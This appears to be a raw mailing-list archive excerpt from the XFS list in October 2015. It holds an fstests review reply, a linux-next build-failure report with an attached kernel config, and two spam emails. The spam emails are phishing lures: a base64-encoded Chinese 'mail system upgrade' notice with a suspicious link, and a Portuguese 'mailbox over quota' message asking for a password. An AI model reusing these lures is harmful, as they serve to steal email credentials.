bnQ9Ik1TSFRNTCA4LjAwLjYwMDEuMjM1NjkiPjwvSEVBRD4NCjxCT0RZPg0KPERJVj48U1BBTiAN CnN0eWxlPSJMSU5FLUhFSUdIVDogMS41OyBGT05ULUZBTUlMWTogJ2x1Y2lkYSBHcmFuZGUnLCBW ZXJkYW5hLCAnTWljcm9zb2Z0IFlhSGVpJyI+PEZPTlQgDQpjb2xvcj1ibGFjaz7lkITkvY3lkIzk uovvvJo8L0ZPTlQ+PC9TUEFOPjwvRElWPg0KPERJVj48U1BBTiANCnN0eWxlPSJMSU5FLUhFSUdI VDogMS41OyBGT05ULUZBTUlMWTogJ2x1Y2lkYSBHcmFuZGUnLCBWZXJkYW5hLCAnTWljcm9zb2Z0 IFlhSGVpJyI+PC9TUEFOPiZuYnNwOzwvRElWPg0KPERJVj48U1BBTiANCnN0eWxlPSJMSU5FLUhF SUdIVDogMS41OyBGT05ULUZBTUlMWTogJ2x1Y2lkYSBHcmFuZGUnLCBWZXJkYW5hLCAnTWljcm9z b2Z0IFlhSGVpJyI+PEZPTlQgDQpjb2xvcj1ibGFjaz7lhazlj7jlhoXpg6jpgq7ku7bns7vnu5/l sIblnKjkuInlpKnlkI7ov5vooYzljYfnuqfvvIznjrDlnKjkvb/nlKjnmoTniYjmnKzljbPlsIbl gZzmraLkvb/nlKjjgII8L0ZPTlQ+PC9TUEFOPjwvRElWPg0KPERJVj48U1BBTiANCnN0eWxlPSJM SU5FLUhFSUdIVDogMS41OyBGT05ULUZBTUlMWTogJ2x1Y2lkYSBHcmFuZGUnLCBWZXJkYW5hLCAn TWljcm9zb2Z0IFlhSGVpJyI+PC9TUEFOPiZuYnNwOzwvRElWPg0KPERJVj48U1BBTiANCnN0eWxl PSJMSU5FLUhFSUdIVDogMS41OyBGT05ULUZBTUlMWTogJ2x1Y2lkYSBHcmFuZGUnLCBWZXJkYW5h LCAnTWljcm9zb2Z0IFlhSGVpJyI+PEZPTlQgDQpjb2xvcj1ibGFjaz7or7fkvaDlsL3lv6vlsIbm lbDmja7ov5vooYzlpIfku73vvIzpgb/lhY3lsYrml7booqvmuIXnqbrvvIzpgL7ml7blsIbml6Dm s5Xov5vooYzmgaLlpI08L0ZPTlQ+PC9TUEFOPjwvRElWPg0KPERJVj4NCjxQIA0Kc3R5bGU9IlRF WFQtVFJBTlNGT1JNOiBub25lOyBCQUNLR1JPVU5ELUNPTE9SOiByZ2IoMjU1LDI1NSwyNTUpOyBU RVhULUlOREVOVDogMHB4OyBGT05UOiAxNHB4LzIzcHggJ2x1Y2lkYSBHcmFuZGUnLCBWZXJkYW5h LCAnTWljcm9zb2Z0IFlhSGVpJzsgV0hJVEUtU1BBQ0U6IG5vcm1hbDsgTEVUVEVSLVNQQUNJTkc6 IG5vcm1hbDsgQ09MT1I6IHJnYigwLDAsMCk7IFdPUkQtU1BBQ0lORzogMHB4OyAtd2Via2l0LXRl eHQtc3Ryb2tlLXdpZHRoOiAwcHgiPjxVPjxGT05UIA0KY29sb3I9Ymx1ZT48QSANCmhyZWY9Imh0 dHA6Ly9zZWlhbmVpZG5laWhzay5jazYzMi5jbi8/eGZzQG9zcy5zZ2kuY29tIj7or7fngrnlh7vo v5nph4zov5vooYw8L0E+PC9GT05UPjwvVT48L1A+DQo8UCANCnN0eWxlPSJURVhULVRSQU5TRk9S TTogbm9uZTsgQkFDS0dST1VORC1DT0xPUjogcmdiKDI1NSwyNTUsMjU1KTsgVEVYVC1JTkRFTlQ6 IDBweDsgRk9OVDogMTRweC8yM3B4ICdsdWNpZGEgR3JhbmRlJywgVmVyZGFuYSwgJ01pY3Jvc29m dCBZYUhlaSc7IFdISVRFLVNQQUNFOiBub3JtYWw7IExFVFRFUi1TUEFDSU5HOiBub3JtYWw7IENP TE9SOiByZ2IoMCwwLDApOyBXT1JELVNQQUNJTkc6IDBweDsgLXdlYmtpdC10ZXh0LXN0cm9rZS13 aWR0aDogMHB4Ij48U1BBTiANCnN0eWxlPSJMSU5FLUhFSUdIVDogMS41Ij7mnKzmrKHpgJrnn6Xn moTmnInmlYjml7bpl7TkuLoz5bCP5pe277yM6LaF5pe25bCG6KKr6buY6K6k5Li65pS+5byD44CC PC9TUEFOPjwvUD4NCjxQIA0Kc3R5bGU9IlRFWFQtVFJBTlNGT1JNOiBub25lOyBCQUNLR1JPVU5E LUNPTE9SOiByZ2IoMjU1LDI1NSwyNTUpOyBURVhULUlOREVOVDogMHB4OyBGT05UOiAxNHB4LzIz cHggJ2x1Y2lkYSBHcmFuZGUnLCBWZXJkYW5hLCAnTWljcm9zb2Z0IFlhSGVpJzsgV0hJVEUtU1BB Q0U6IG5vcm1hbDsgTEVUVEVSLVNQQUNJTkc6IG5vcm1hbDsgQ09MT1I6IHJnYigwLDAsMCk7IFdP UkQtU1BBQ0lORzogMHB4OyAtd2Via2l0LXRleHQtc3Ryb2tlLXdpZHRoOiAwcHgiPjxTUEFOIA0K c3R5bGU9IkxJTkUtSEVJR0hUOiAxLjUiPjIwMTUtMTAtMTUs5LiL5Y2IIDA2OjA5OjI5PC9TUEFO PjwvUD48L0lOQ0xVREVUQUlMPjwvRElWPjwvQk9EWT48L0hUTUw+DQo= --=====003_Dragon064227526083_=====-- From darrick.wong@oracle.com Thu Oct 15 09:42:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0E7D37F50 for ; Thu, 15 Oct 2015 09:42:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id EEB28304066 for ; Thu, 15 Oct 2015 07:42:21 -0700 (PDT) X-ASG-Debug-ID: 1444920138-04cb6c3cec14060001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id WYT2EQyY3r8B5Czj (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 15 Oct 2015 07:42:18 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9FEfrm3029204 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 15 Oct 2015 14:41:53 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9FEfqJI001033 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Thu, 15 Oct 2015 14:41:53 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9FEfp6G015266; Thu, 15 Oct 2015 14:41:51 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 15 Oct 2015 07:41:50 -0700 Date: Thu, 15 Oct 2015 07:41:46 -0700 From: "Darrick J. Wong" To: Christoph Hellwig Cc: david@fromorbit.com, fstests@vger.kernel.org, linux-ext4@vger.kernel.org, Anna.Schumaker@netapp.com, linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 03/12] generic/80[0-2]: support xfs in addition to btrfs Message-ID: <20151015144146.GL10391@birch.djwong.org> X-ASG-Orig-Subj: Re: [PATCH 03/12] generic/80[0-2]: support xfs in addition to btrfs References: <20151007051257.3260.73072.stgit@birch.djwong.org> <20151007051323.3260.60421.stgit@birch.djwong.org> <20151015091944.GA13683@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151015091944.GA13683@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444920138 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23513 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Thu, Oct 15, 2015 at 02:19:44AM -0700, Christoph Hellwig wrote: > > +# this test requires the test fs support reflink... > > +# > > +_require_test_reflink() > > +{ > > + case $FSTYP in > > + xfs) > > + xfs_info "${TEST_DIR}" | grep reflink=1 -c -q || _notrun "Reflink not supported by this filesystem type: $FSTYP" > > + ;; > > + btrfs) > > + true > > + ;; > > + *) > > + _notrun "Reflink not supported by this filesystem type: $FSTYP" > > + ;; > > + esac > > I don't think that's a good test - we need to check if it's supported by > trying it. That'll automatically get us coverage for other file systems > like xfs. > > Note that dedup should get it's own feature check, as currently hacking > nfs into this check will also run dedup tests that can't really be > supported. Good point. I'll throw that in while I rework the tests. --D > -- > To unsubscribe from this list: send the line "unsubscribe fstests" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From omar.mccarthy@jcf.gov.jm Thu Oct 15 12:14:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 934247F37 for ; Thu, 15 Oct 2015 12:14:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8314D8F8033 for ; Thu, 15 Oct 2015 10:14:52 -0700 (PDT) X-ASG-Debug-ID: 1444929290-04cb6c3cec19860001-NocioJ Received: from smtp113.iad3a.emailsrvr.com (smtp113.iad3a.emailsrvr.com [173.203.187.113]) by cuda.sgi.com with ESMTP id AqVeICRFCi0VsEdC (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 15 Oct 2015 10:14:50 -0700 (PDT) X-Barracuda-Envelope-From: omar.mccarthy@jcf.gov.jm X-Barracuda-Apparent-Source-IP: 173.203.187.113 Received: from smtp23.relay.iad3a.emailsrvr.com (localhost.localdomain [127.0.0.1]) by smtp23.relay.iad3a.emailsrvr.com (SMTP Server) with ESMTP id 415702802A9; Thu, 15 Oct 2015 13:14:49 -0400 (EDT) X-SMTPDoctor-Processed: csmtpprox beta Received: from smtp23.relay.iad3a.emailsrvr.com (localhost.localdomain [127.0.0.1]) by smtp23.relay.iad3a.emailsrvr.com (SMTP Server) with ESMTP id 7535328054C; Thu, 15 Oct 2015 13:14:48 -0400 (EDT) Received: from app57.wa-webapps.iad3a (relay-webapps.rsapps.net [172.27.255.140]) by smtp23.relay.iad3a.emailsrvr.com (SMTP Server) with ESMTP id B17B72802A9; Thu, 15 Oct 2015 13:14:47 -0400 (EDT) X-Sender-Id: omar.mccarthy@jcf.gov.jm Received: from app57.wa-webapps.iad3a (relay-webapps.rsapps.net [172.27.255.140]) by 0.0.0.0:25 (trex/5.4.2); Thu, 15 Oct 2015 17:14:48 GMT Received: from jcf.gov.jm (localhost.localdomain [127.0.0.1]) by app57.wa-webapps.iad3a (Postfix) with ESMTP id 51C0F1800B4; Thu, 15 Oct 2015 13:14:47 -0400 (EDT) Received: by webmail.jcf.gov.jm (Authenticated sender: omar.mccarthy@jcf.gov.jm, from: centeri@kimo.com) with HTTP; Thu, 15 Oct 2015 12:14:47 -0500 (EST) Date: Thu, 15 Oct 2015 12:14:47 -0500 (EST) Subject: Melhore a sua conta de e-mail From: "Webmaster" X-ASG-Orig-Subj: Melhore a sua conta de e-mail MIME-Version: 1.0 Content-Type: text/plain;charset=UTF-8 Content-Transfer-Encoding: quoted-printable Importance: Normal X-Priority: 3 (Normal) X-Type: plain X-Auth-ID: omar.mccarthy@jcf.gov.jm Message-ID: <1444929287.331513437@webmail.jcf.gov.jm> X-Mailer: webmail/11.6.1-RC To: undisclosed-recipients:; X-Barracuda-Connect: smtp113.iad3a.emailsrvr.com[173.203.187.113] X-Barracuda-Start-Time: 1444929290 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23517 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- =0A=0ACaro Utilizador E-mail,=0A=0AA caixa de correio excedeu a capacidade = de 2 GB como definido por e-mail=0Aadministrator.Your caixa de correio est= =C3=A1 em execu=C3=A7=C3=A3o no 2.30GB, como tal, n=C3=A3o ser=C3=A1=0Acapa= z de enviar ou receber novas mensagens at=C3=A9 que voc=C3=AA re-confirmar = a sua=0Adetalhes da conta below.Please preencher seus dados abaixo para con= firmar que voc=C3=AA =C3=A9=0AO propriet=C3=A1rio da conta de e-mail=0A=0AO= s seus nomes completos: ...............=0AEndere=C3=A7o de e-mail:.........= ........=0ASenha:......................=0ADigite novamente a senha:........= .......=0AE-mail sess=C3=A3o P=C3=A1gina na Internet ....=0A=0Aobrigado=0AA= dministrador do Sistema e-mail From rdunlap@infradead.org Thu Oct 15 12:56:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.5 required=5.0 tests=UPPERCASE_75_100 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E8B737F37 for ; Thu, 15 Oct 2015 12:56:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8A776304067 for ; Thu, 15 Oct 2015 10:56:03 -0700 (PDT) X-ASG-Debug-ID: 1444931756-04bdf06db352830001-NocioJ Received: from casper.infradead.org (casper.infradead.org [85.118.1.10]) by cuda.sgi.com with ESMTP id zerlDCjpi6dIMztt (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Thu, 15 Oct 2015 10:55:57 -0700 (PDT) X-Barracuda-Envelope-From: rdunlap@infradead.org X-Barracuda-Apparent-Source-IP: 85.118.1.10 Received: from static-50-53-43-78.bvtn.or.frontiernet.net ([50.53.43.78] helo=[192.168.1.12]) by casper.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux)) id 1Zmmks-0000vY-82; Thu, 15 Oct 2015 17:55:55 +0000 Subject: Re: linux-next: Tree for Oct 15 (xfs) To: Stephen Rothwell , linux-next@vger.kernel.org X-ASG-Orig-Subj: Re: linux-next: Tree for Oct 15 (xfs) References: <20151015185150.76cecc3e@canb.auug.org.au> Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner From: Randy Dunlap Message-ID: <561FE8A7.8070803@infradead.org> Date: Thu, 15 Oct 2015 10:55:51 -0700 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 MIME-Version: 1.0 In-Reply-To: <20151015185150.76cecc3e@canb.auug.org.au> Content-Type: multipart/mixed; boundary="------------030602090703060405080006" X-Barracuda-Connect: casper.infradead.org[85.118.1.10] X-Barracuda-Start-Time: 1444931757 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.94 X-Barracuda-Spam-Status: No, SCORE=1.94 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FUZZY_VPILL, UPPERCASE_75_100, UPPERCASE_75_100_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23519 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FUZZY_VPILL BODY: Attempt to obfuscate words in spam 0.01 UPPERCASE_75_100 message body is 75-100% uppercase 1.93 UPPERCASE_75_100_2 message body is 75-100% uppercase This is a multi-part message in MIME format. --------------030602090703060405080006 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit On 10/15/15 00:51, Stephen Rothwell wrote: > Hi all, > > Changes since 20151013: > on x86_64: fs/built-in.o: In function `xfs_free_ag_extent': xfs_alloc.c:(.text+0x1f36a0): undefined reference to `xfsstats' fs/built-in.o: In function `xfs_alloc_ag_vextent': xfs_alloc.c:(.text+0x1f5ccf): undefined reference to `xfsstats' xfs_alloc.c:(.text+0x1f5d0b): undefined reference to `xfsstats' fs/built-in.o: In function `xfs_attr_get': (.text+0x1f9cb8): undefined reference to `xfsstats' fs/built-in.o: In function `xfs_attr_set': (.text+0x1f9eed): undefined reference to `xfsstats' fs/built-in.o:(.text+0x1fa4c8): more undefined references to `xfsstats' follow fs/built-in.o: In function `stats_clear_store': xfs_sysfs.c:(.text+0x274e3a): undefined reference to `xfs_stats_clearall' fs/built-in.o: In function `stats_show': xfs_sysfs.c:(.text+0x274e71): undefined reference to `xfs_stats_format' fs/built-in.o: In function `__xfs_trans_commit': xfs_trans.c:(.text+0x276b5b): undefined reference to `xfsstats' xfs_trans.c:(.text+0x276b8e): undefined reference to `xfsstats' xfs_trans.c:(.text+0x276c8d): undefined reference to `xfsstats' fs/built-in.o: In function `xlog_grant_head_wait': xfs_log.c:(.text+0x278184): undefined reference to `xfsstats' fs/built-in.o: In function `xfs_log_regrant': (.text+0x27a1de): undefined reference to `xfsstats' fs/built-in.o:xfs_log.c:(.text+0x27af4c): more undefined references to `xfsstats' follow Full randconfig file is attached. -- ~Randy --------------030602090703060405080006 Content-Type: text/plain; charset=UTF-8; name="config-r6480" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="config-r6480" # # Automatically generated file; DO NOT EDIT. # Linux/x86_64 4.3.0-rc5 Kernel Configuration # CONFIG_64BIT=y CONFIG_X86_64=y CONFIG_X86=y CONFIG_INSTRUCTION_DECODER=y CONFIG_PERF_EVENTS_INTEL_UNCORE=y CONFIG_OUTPUT_FORMAT="elf64-x86-64" CONFIG_ARCH_DEFCONFIG="arch/x86/configs/x86_64_defconfig" CONFIG_LOCKDEP_SUPPORT=y CONFIG_STACKTRACE_SUPPORT=y CONFIG_HAVE_LATENCYTOP_SUPPORT=y CONFIG_MMU=y CONFIG_NEED_DMA_MAP_STATE=y CONFIG_NEED_SG_DMA_LENGTH=y CONFIG_GENERIC_BUG=y CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_GENERIC_HWEIGHT=y CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y CONFIG_HAVE_SETUP_PER_CPU_AREA=y CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y CONFIG_ARCH_SUSPEND_POSSIBLE=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING=y CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_X86_64_SMP=y CONFIG_ARCH_HWEIGHT_CFLAGS="-fcall-saved-rdi -fcall-saved-rsi -fcall-saved-rdx -fcall-saved-rcx -fcall-saved-r8 -fcall-saved-r9 -fcall-saved-r10 -fcall-saved-r11" CONFIG_ARCH_SUPPORTS_UPROBES=y CONFIG_FIX_EARLYCON_MEM=y CONFIG_PGTABLE_LEVELS=4 CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config" CONFIG_CONSTRUCTORS=y CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_EXTABLE_SORT=y # # General setup # CONFIG_INIT_ENV_ARG_LIMIT=32 CONFIG_CROSS_COMPILE="" # CONFIG_COMPILE_TEST is not set CONFIG_LOCALVERSION="" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_HAVE_KERNEL_GZIP=y CONFIG_HAVE_KERNEL_BZIP2=y CONFIG_HAVE_KERNEL_LZMA=y CONFIG_HAVE_KERNEL_XZ=y CONFIG_HAVE_KERNEL_LZO=y CONFIG_HAVE_KERNEL_LZ4=y # CONFIG_KERNEL_GZIP is not set # CONFIG_KERNEL_BZIP2 is not set # CONFIG_KERNEL_LZMA is not set CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_LZO is not set # CONFIG_KERNEL_LZ4 is not set CONFIG_DEFAULT_HOSTNAME="(none)" CONFIG_SWAP=y CONFIG_SYSVIPC=y CONFIG_POSIX_MQUEUE=y CONFIG_KDBUS=y CONFIG_CROSS_MEMORY_ATTACH=y # CONFIG_FHANDLE is not set # CONFIG_USELIB is not set CONFIG_AUDIT=y CONFIG_HAVE_ARCH_AUDITSYSCALL=y # CONFIG_AUDITSYSCALL is not set # # IRQ subsystem # CONFIG_GENERIC_IRQ_PROBE=y CONFIG_GENERIC_IRQ_SHOW=y CONFIG_GENERIC_PENDING_IRQ=y CONFIG_GENERIC_IRQ_CHIP=y CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y # CONFIG_IRQ_DOMAIN_DEBUG is not set CONFIG_IRQ_FORCED_THREADING=y CONFIG_SPARSE_IRQ=y CONFIG_CLOCKSOURCE_WATCHDOG=y CONFIG_ARCH_CLOCKSOURCE_DATA=y CONFIG_CLOCKSOURCE_VALIDATE_LAST_CYCLE=y CONFIG_GENERIC_TIME_VSYSCALL=y CONFIG_GENERIC_CLOCKEVENTS=y CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y # # Timers subsystem # CONFIG_TICK_ONESHOT=y CONFIG_NO_HZ_COMMON=y # CONFIG_HZ_PERIODIC is not set # CONFIG_NO_HZ_IDLE is not set CONFIG_NO_HZ_FULL=y CONFIG_NO_HZ_FULL_ALL=y # CONFIG_NO_HZ_FULL_SYSIDLE is not set # CONFIG_NO_HZ is not set CONFIG_HIGH_RES_TIMERS=y # # CPU/Task time and stats accounting # CONFIG_VIRT_CPU_ACCOUNTING=y CONFIG_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_TASKSTATS=y CONFIG_TASK_DELAY_ACCT=y CONFIG_TASK_XACCT=y CONFIG_TASK_IO_ACCOUNTING=y # # RCU Subsystem # CONFIG_TREE_RCU=y CONFIG_RCU_EXPERT=y CONFIG_SRCU=y CONFIG_TASKS_RCU=y CONFIG_RCU_STALL_COMMON=y CONFIG_CONTEXT_TRACKING=y CONFIG_CONTEXT_TRACKING_FORCE=y CONFIG_RCU_FANOUT=64 CONFIG_RCU_FANOUT_LEAF=16 # CONFIG_RCU_FAST_NO_HZ is not set CONFIG_TREE_RCU_TRACE=y CONFIG_RCU_KTHREAD_PRIO=0 CONFIG_RCU_NOCB_CPU=y # CONFIG_RCU_NOCB_CPU_NONE is not set # CONFIG_RCU_NOCB_CPU_ZERO is not set CONFIG_RCU_NOCB_CPU_ALL=y # CONFIG_RCU_EXPEDITE_BOOT is not set CONFIG_BUILD_BIN2C=y CONFIG_IKCONFIG=y CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_NUMA_BALANCING is not set CONFIG_CGROUPS=y CONFIG_CGROUP_DEBUG=y # CONFIG_CGROUP_FREEZER is not set # CONFIG_CGROUP_PIDS is not set # CONFIG_CGROUP_DEVICE is not set # CONFIG_CPUSETS is not set CONFIG_CGROUP_CPUACCT=y CONFIG_PAGE_COUNTER=y CONFIG_MEMCG=y # CONFIG_MEMCG_SWAP is not set CONFIG_MEMCG_KMEM=y # CONFIG_CGROUP_HUGETLB is not set CONFIG_CGROUP_PERF=y CONFIG_CGROUP_SCHED=y CONFIG_FAIR_GROUP_SCHED=y # CONFIG_CFS_BANDWIDTH is not set # CONFIG_RT_GROUP_SCHED is not set # CONFIG_BLK_CGROUP is not set # CONFIG_CHECKPOINT_RESTORE is not set CONFIG_SCHED_AUTOGROUP=y # CONFIG_SYSFS_DEPRECATED is not set CONFIG_RELAY=y CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="" # CONFIG_RD_GZIP is not set CONFIG_RD_BZIP2=y # CONFIG_RD_LZMA is not set # CONFIG_RD_XZ is not set # CONFIG_RD_LZO is not set # CONFIG_RD_LZ4 is not set # CONFIG_CC_OPTIMIZE_FOR_SIZE is not set CONFIG_LTO_MENU=y CONFIG_LTO_DISABLE=y CONFIG_ANON_INODES=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_BPF=y CONFIG_EXPERT=y # CONFIG_MULTIUSER is not set CONFIG_SGETMASK_SYSCALL=y CONFIG_SYSFS_SYSCALL=y CONFIG_KALLSYMS=y CONFIG_KALLSYMS_ALL=y # CONFIG_PRINTK is not set CONFIG_BUG=y # CONFIG_ELF_CORE is not set CONFIG_PCSPKR_PLATFORM=y CONFIG_BASE_FULL=y # CONFIG_FUTEX is not set CONFIG_EPOLL=y CONFIG_SIGNALFD=y # CONFIG_TIMERFD is not set CONFIG_EVENTFD=y # CONFIG_BPF_SYSCALL is not set CONFIG_SHMEM=y CONFIG_AIO=y CONFIG_ADVISE_SYSCALLS=y # CONFIG_USERFAULTFD is not set # CONFIG_PCI_QUIRKS is not set CONFIG_MEMBARRIER=y # CONFIG_EMBEDDED is not set CONFIG_HAVE_PERF_EVENTS=y CONFIG_PERF_USE_VMALLOC=y # # Kernel Performance Events And Counters # CONFIG_PERF_EVENTS=y CONFIG_DEBUG_PERF_USE_VMALLOC=y # CONFIG_VM_EVENT_COUNTERS is not set CONFIG_SLUB_DEBUG=y CONFIG_COMPAT_BRK=y # CONFIG_SLAB is not set CONFIG_SLUB=y # CONFIG_SLOB is not set CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_SYSTEM_DATA_VERIFICATION is not set CONFIG_PROFILING=y CONFIG_KEXEC_CORE=y CONFIG_OPROFILE=y CONFIG_OPROFILE_EVENT_MULTIPLEX=y CONFIG_HAVE_OPROFILE=y CONFIG_OPROFILE_NMI_TIMER=y CONFIG_JUMP_LABEL=y CONFIG_STATIC_KEYS_SELFTEST=y # CONFIG_UPROBES is not set # CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y CONFIG_ARCH_USE_BUILTIN_BSWAP=y CONFIG_USER_RETURN_NOTIFIER=y CONFIG_HAVE_IOREMAP_PROT=y CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_ATTRS=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_CLK=y CONFIG_HAVE_DMA_API_DEBUG=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y CONFIG_HAVE_USER_RETURN_NOTIFIER=y CONFIG_HAVE_PERF_EVENTS_NMI=y CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y CONFIG_HAVE_CMPXCHG_DOUBLE=y 